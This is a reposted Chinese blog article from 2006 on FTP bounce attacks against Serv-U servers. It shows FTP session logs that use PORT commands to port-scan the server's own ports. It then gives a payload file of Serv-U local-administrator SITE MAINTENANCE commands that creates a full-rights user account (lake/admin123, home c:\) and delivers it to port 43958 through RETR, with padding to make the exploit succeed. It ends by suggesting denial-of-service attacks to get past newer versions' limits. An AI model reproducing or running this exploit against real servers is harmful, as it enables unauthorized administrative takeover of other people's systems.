zoukankan      html  css  js  c++  java
  • ServU的反弹攻击及其利用时间:20061220 11:09来源:中国网管联盟 作者:网管整理 点击:899次

    Serv-U的反弹攻击及其利用时间:2006-12-20 11:09来源:中国网管联盟 作者:网管整理 点击:899次
       
    FTP反弹攻击(FTP Bounce Attack)是很古老的技术了,居然能在我们的信息安全教材上找得到介绍,可见其确实年代久远。 
    所谓FTP反弹攻击就是利用FTP协议的PORT命令将数据发送到第三方,这样就可以利用FTP服务器实现对其他机器的端口扫描和发送数据了。由于这种攻击的存在,所以FTP服务器一般都限制了PORT命令的ip地址为客户端ip且端口大于1024。 
    现在比较流行的FTP软件Serv-U默认情况下(似乎?)却没有限制FTP Bounce攻击,造成安全隐患。 
    以下是对有限制的Serv-U进行反弹攻击: 
    220-欢迎光临lake2的blog 
    user lake2 
    331 User name okay, need password. 
    pass xxxxxxxxx 
    230 User logged in, proceed. 
    port 127,0,0,1,171,182 
    530 Only client IP address allowed for PORT command. 

    失败了,因为管理员在设置那里勾上了“拦截FTP Bounce攻击”。 
    但是,一些Serv-U却可以实现反弹(默认情况下没有阻止FTP Bounce): 
    中国网管联盟www_bitscn_com

    220-欢迎使用本虚拟主机. 
    user 0x54.org 
    331 User name okay, need password. 
    pass xxxxxxxxxxxx 
    230 User logged in, proceed. 
    port 127,0,0,1,171,182 
    200 PORT Command successful. 
    list 
    150 Opening ASCII mode data connection for /bin/ls. 
    226-Maximum disk quota limited to 204800 kBytes 
    Used disk quota 81766 kBytes, available 123033 kBytes 
    226 Transfer complete. 
    port 127,0,0,1,171,183 
    200 PORT Command successful. 
    list 
    150 Opening ASCII mode data connection for /bin/ls. 
    426-Maximum disk quota limited to 204800 kBytes 
    Used disk quota 81766 kBytes, available 123033 kBytes 
    426 Data connection closed, transfer aborted. 
    命令“port 127,0,0,1,171,182”就是把数据发送到FTP服务器的43958(171*256+182=43958)端口,因为该端口是开放的,所以数据发送成功;第二次把数据发送到43959端口,该端口关闭,所以发送失败。根据返回的结果,就实现了端口扫描(由于限制,只能扫描大于1024的端口)。大名鼎鼎的扫描器NMAP就有利用FTP反弹实现端口扫描的功能。 
    中国网管论坛bbs.bitsCN.com
    利用反弹攻击也可以发送任意数据,把要发送的数据写到文件中然后RETR就行了。既然可以发送任意数据,当然包括向43958端口发送添加有执行权限的FTP用户的命令咯。这真是个令人兴奋的主意。 
    以下内容保存为test.txt并传到FTP根目录: 
    user LocalAdministrator 
    Pass [email=#l@$ak#.lk;0@P]#l@$ak#.lk;0@P[/email] 
    SITE MAINTENANCE 
    -SETUSERSETUP 
    -IP=0.0.0.0 
    -PortNo=21 
    -User=lake 
    -Password=admin123 
    -HomeDir=c:\\ 
    -LoginMesFile= 
    -Disable=0 
    -RelPaths=1 
    -NeedSecure=0 
    -HideHidden=0 
    -AlwaysAllowLogin=0 
    -ChangePassword=0 
    -QuotaEnable=0 
    -MaxUsersLoginPerIP=-1 
    -SpeedLimitUp=0 
    -SpeedLimitDown=0 
    -MaxNrUsers=-1 
    -IdleTimeOut=600 
    -SessionTimeOut=-1 
    -Expire=0 
    -RatioUp=1 
    -RatioDown=1 
    -RatiosCredit=0 
    -QuotaCurrent=0 
    -QuotaMaximum=0 
    54ne.com
     
    -Maintenance=None 
    -PasswordType=Regular 
    -Ratios=None 
    Access=c:\\|RWAMELCDP 

    然后retr test.txt,添加用户的数据就发过去了。 
    每次都莫名其妙的添加失败,后来试验多次才发现是由于数据发送太快43958端口那边还没来得及响应连接就就关闭了。解决办法是在test.txt文件前面添加许多无用数据,当文件达到1M多的时候,哈哈,成功了! 
    以上是在5.2版本的情况,但在6.3版本上,情况不妙,43958端口限制了接收数据大小,几十K都不行了,何况一个1M的大文件呢。 
    这个地方一直没想到好的解决办法,似乎有两点思路供参考: 
    1、 上传/下载大文件,降低其处理速度 
    2、 对FTP服务器进行拒绝服务攻击,消耗资源降低处理速度 
    以上只是猜想没有去实践,姑且叫“lake2猜想”吧,谁把它解决了,我请吃饭哦 54ne.com 【转自www.bitsCN.com
  • 相关阅读:
    (LeetCode 72)Edit Distance
    (LeetCode 53)Maximum Subarray
    (LeetCode 64)Minimum Path Sum
    (算法)关于随机数的生成
    (笔试题)数组A中任意两个相邻元素大小相差1,在其中查找某个数。
    (笔试题)分椰子
    (笔试题)和0交换的排序
    (笔试题)合法字符串
    (笔试题)被3和5整除的数的和
    (笔试题)程序运行时间
  • 原文地址:https://www.cnblogs.com/zhiji6/p/1649233.html
Copyright © 2011-2022 走看看